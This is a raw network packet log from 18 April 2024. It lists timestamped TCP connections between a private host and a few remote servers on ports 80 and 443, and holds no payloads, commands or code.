Apr 18, 2024 23:05:23.284975052 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284980059 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.284992933 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.284995079 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.285007954 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.285020113 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.285026073 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.285032988 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.285044909 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.285057068 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.285062075 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.285068989 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.285080910 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.285087109 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.285103083 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.285120010 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.381273985 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.381289959 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.381373882 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.428576946 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428599119 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428611040 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428625107 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428687096 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.428721905 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428735018 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428746939 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428759098 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428844929 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428858042 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428875923 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428878069 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.428878069 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.428878069 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.428888083 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428900003 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428908110 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.428913116 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428925037 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428937912 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428950071 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428951979 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.428961039 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428977013 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.428987026 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.428996086 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429016113 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429016113 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429090023 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429102898 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429115057 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429126978 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429138899 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429147959 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429179907 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429187059 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429193020 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429203987 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429215908 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429228067 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429239988 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429244995 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429253101 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429277897 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429286957 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429296970 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429311991 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429352045 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429358006 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429393053 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429421902 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429435015 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429445982 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429457903 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429476023 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429505110 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429516077 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429528952 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429539919 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429550886 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429563046 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429574966 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429574013 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429586887 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429598093 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429606915 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429610014 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429621935 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429629087 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429652929 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429672003 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429816961 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429830074 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429841042 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429852009 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429864883 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429877043 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429882050 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429888964 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429900885 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429902077 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429912090 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429918051 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429924011 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429936886 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429949045 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429954052 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429960966 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429972887 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429977894 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429985046 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.429996967 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.429997921 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430011034 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430016041 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.430022955 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430035114 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430048943 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.430052042 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430064917 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430068970 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.430075884 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430088043 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430099010 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430103064 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.430110931 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430119991 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.430123091 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430135965 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430141926 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.430147886 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430159092 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430171013 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430182934 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.430182934 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430195093 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430202007 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.430212975 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430224895 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.430226088 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.430243015 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.430265903 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.525613070 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.525634050 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.525640965 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.525649071 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.525799990 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.572860003 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.572874069 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.572880983 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.572887897 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.572895050 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.572901964 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.572909117 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.572916031 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573072910 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573072910 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573086023 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573098898 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573110104 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573124886 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573137045 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573147058 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573151112 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573158026 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573169947 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573178053 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573182106 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573194981 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573200941 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573205948 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573218107 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573229074 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573240995 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573251963 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573236942 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573262930 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573275089 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573287010 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573287010 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573292017 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573303938 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573308945 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573318958 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573331118 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573342085 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573353052 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573353052 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573364973 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573371887 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573376894 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573389053 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573389053 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573400021 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573405027 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573415041 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573426008 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573430061 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573436975 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573447943 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573450089 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573461056 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573468924 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573473930 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:23.573494911 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:23.573510885 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:24.187628031 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:24.332746983 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:24.332794905 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:24.332815886 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:24.332837105 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:24.332952023 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:24.336066961 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:24.481057882 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:24.481081963 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:24.481098890 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:24.481115103 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:24.481164932 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:24.481313944 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:25.032809973 CEST	49744	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:05:25.032898903 CEST	443	49744	64.233.177.99	192.168.2.16
Apr 18, 2024 23:05:25.032985926 CEST	49744	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:05:25.033200979 CEST	49744	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:05:25.033235073 CEST	443	49744	64.233.177.99	192.168.2.16
Apr 18, 2024 23:05:25.254427910 CEST	443	49744	64.233.177.99	192.168.2.16
Apr 18, 2024 23:05:25.254703045 CEST	49744	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:05:25.254760981 CEST	443	49744	64.233.177.99	192.168.2.16
Apr 18, 2024 23:05:25.256244898 CEST	443	49744	64.233.177.99	192.168.2.16
Apr 18, 2024 23:05:25.256356955 CEST	49744	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:05:25.257292032 CEST	49744	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:05:25.257386923 CEST	443	49744	64.233.177.99	192.168.2.16
Apr 18, 2024 23:05:25.307358027 CEST	49744	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:05:25.307384968 CEST	443	49744	64.233.177.99	192.168.2.16
Apr 18, 2024 23:05:25.355361938 CEST	49744	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:05:27.567722082 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:27.567792892 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:27.570838928 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:27.570915937 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:27.574908018 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:27.574965954 CEST	49716	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:27.575890064 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:27.575962067 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:27.721920967 CEST	80	49729	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:27.722141981 CEST	49729	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:27.722485065 CEST	80	49731	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:27.722520113 CEST	80	49732	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:27.722572088 CEST	49731	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:27.722573996 CEST	49732	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:27.722788095 CEST	80	49730	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:27.722834110 CEST	49730	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:27.928144932 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:27.928222895 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:28.494854927 CEST	49729	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:28.494891882 CEST	49730	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:28.494935036 CEST	49732	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:28.494966030 CEST	49731	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:28.495014906 CEST	49735	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:28.495038986 CEST	49717	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:28.495116949 CEST	49718	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:28.495126009 CEST	49716	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:28.495167971 CEST	49725	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:28.639144897 CEST	80	49729	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:28.639200926 CEST	80	49725	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:28.639238119 CEST	80	49716	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:28.639271021 CEST	80	49718	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:28.639303923 CEST	80	49735	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:28.639334917 CEST	80	49730	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:28.639368057 CEST	80	49717	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:28.639400959 CEST	80	49731	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:28.639492035 CEST	80	49732	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:29.333383083 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:29.333472967 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:29.481849909 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:29.481956959 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:30.372018099 CEST	49733	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:30.372095108 CEST	49719	80	192.168.2.16	208.109.76.254
Apr 18, 2024 23:05:30.497334957 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.497416973 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.497520924 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.497725964 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.497756004 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.516032934 CEST	80	49733	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:30.516072035 CEST	80	49719	208.109.76.254	192.168.2.16
Apr 18, 2024 23:05:30.544800043 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.544841051 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.544933081 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.545337915 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.545353889 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.729617119 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.729942083 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.729962111 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.731586933 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.731671095 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.732739925 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.732825041 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.732933998 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.732942104 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.762877941 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.763129950 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.763145924 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.764627934 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.764697075 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.765042067 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.765126944 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.776390076 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.808393002 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.808407068 CEST	443	49748	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.855523109 CEST	49748	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.979933977 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.980175972 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.980238914 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.980271101 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.980397940 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.980449915 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.980458975 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.980561972 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.980606079 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.980613947 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.980712891 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.980766058 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.980772972 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.980869055 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.980915070 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.980926037 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.981021881 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.981069088 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.981076002 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.981188059 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.981246948 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.981252909 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.981368065 CEST	443	49747	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:30.981414080 CEST	49747	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:30.995420933 CEST	49747	443	192.168.2.16	172.67.191.217
